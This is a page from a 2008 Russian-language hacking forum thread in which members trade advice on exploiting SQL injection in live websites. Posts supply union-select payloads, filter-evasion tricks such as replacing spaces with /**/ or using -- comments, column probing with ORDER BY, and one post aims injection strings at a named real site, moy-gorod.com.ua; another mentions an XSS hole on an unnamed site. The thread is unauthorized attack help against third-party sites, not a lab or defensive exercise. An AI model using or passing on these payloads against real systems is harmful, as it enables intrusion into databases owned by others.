HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 333 из 2422 « Первая < 233283323 329 330 331 332 333 334 335 336 337 3433834338331333 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.09.2008, 13:38
SIdoy
Новичок
Регистрация: 19.09.2007
Сообщений: 12
Провел на форуме:
324160

Репутация: 19
По умолчанию
Цитата:
Сообщение от IND1G0  
http://сайт/id=0+union+select+1/*

Выводит

(страница 0 union select 1/* из 1)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-20,10' at line 16

Такая ошибка выходит постоянно, перебрал до http://сайт/id=0+union+select+1,...,35/*
Как можно заюзать эту ошибку?

Попробуй вместо пробелов /**/

id=0/**/union/**/select/**/1/*
 
Ответить с цитированием

  #2  
Старый 25.09.2008, 00:22
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию
А почему у тебя id=0?? попробуй -1 или 99999.
 
Ответить с цитированием

  #3  
Старый 25.09.2008, 00:23
IND1G0
Новичок
Регистрация: 21.09.2008
Сообщений: 9
Провел на форуме:
69313

Репутация: 1
По умолчанию
если даже так разницы нет)

А да и еще на сайте есть XSS
http://сайт/id=[XSS]/*
Последний раз редактировалось IND1G0; 25.09.2008 в 00:30..
 
Ответить с цитированием

  #4  
Старый 25.09.2008, 00:28
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию
Ссылку хоть дай
 
Ответить с цитированием

  #5  
Старый 25.09.2008, 00:28
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию
А оставить ковычку пробывал?
 
Ответить с цитированием

  #6  
Старый 25.09.2008, 00:36
IND1G0
Новичок
Регистрация: 21.09.2008
Сообщений: 9
Провел на форуме:
69313

Репутация: 1
По умолчанию
Да уже все перепробовал...
Мне интересно почему висит вот эта ошибка постоянно независимо от того что вбивать в http://сайт/id=/*
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-20,10' at line 16
 
Ответить с цитированием

  #7  
Старый 25.09.2008, 01:26
MirA
Новичок
Регистрация: 24.07.2008
Сообщений: 29
Провел на форуме:
109513

Репутация: 52
Отправить сообщение для MirA с помощью ICQ
По умолчанию
Цитата:
Сообщение от IND1G0  
Да уже все перепробовал...
Мне интересно почему висит вот эта ошибка постоянно независимо от того что вбивать в http://сайт/id=/*
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-20,10' at line 16
Попробуй использовать такой комент "--" вместо "/*"
 
Ответить с цитированием

  #8  
Старый 25.09.2008, 01:34
IND1G0
Новичок
Регистрация: 21.09.2008
Сообщений: 9
Провел на форуме:
69313

Репутация: 1
Unhappy
Цитата:
Сообщение от MirA  
Попробуй использовать такой комент "--" вместо "/*"
тоже уже пробовал
 
Ответить с цитированием

  #9  
Старый 25.09.2008, 04:02
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию
а ещё вот такой +--+

и проверь на раскрытые скобки в запросе. Попробуй проанализировать, что там фильтруется
 
Ответить с цитированием

  #10  
Старый 25.09.2008, 13:05
DJ ][akep
Познающий
Регистрация: 27.01.2008
Сообщений: 57
Провел на форуме:
355954

Репутация: 32
По умолчанию
Помогите SQL-inj
Вот кол-во столбцов вроде подобрал
PHP код:
http://moy-gorod.com.ua/cat.phtml?curcat=-999'+order+by+21/* 
но так нехочет:
PHP код:
http://moy-gorod.com.ua/cat.phtml?curcat=-999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/* 
 
Ответить с цитированием
Ответ
Страница 333 из 2422 « Первая < 233283323 329 330 331 332 333 334 335 336 337 3433834338331333 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 7 (пользователей: 0 , гостей: 7)
 


Быстрый переход




ANTICHAT.XYZ